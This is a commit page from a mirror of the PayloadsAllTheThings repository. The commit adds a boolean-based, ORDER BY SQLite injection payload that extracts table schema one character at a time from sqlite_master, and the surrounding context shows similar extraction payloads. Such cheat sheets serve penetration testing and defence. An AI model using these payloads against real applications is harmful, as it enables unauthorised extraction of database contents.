Backup_Repos/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings synced 2025-12-16 05:46:23 +01:00
Code Issues Projects Releases Wiki Activity

Boolean - Extract info (order by)

Browse source
This commit is contained in:
nerrorsec 2022-08-13 10:07:54 +05:45 committed by GitHub
parent 683167d4e9
commit 418285b7f6
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

7
SQL Injection/SQLite Injection.md
View file

@ -71,6 +71,13 @@ and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
## Boolean - Extract info (order by)
```sql
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
```
## Time based
```sql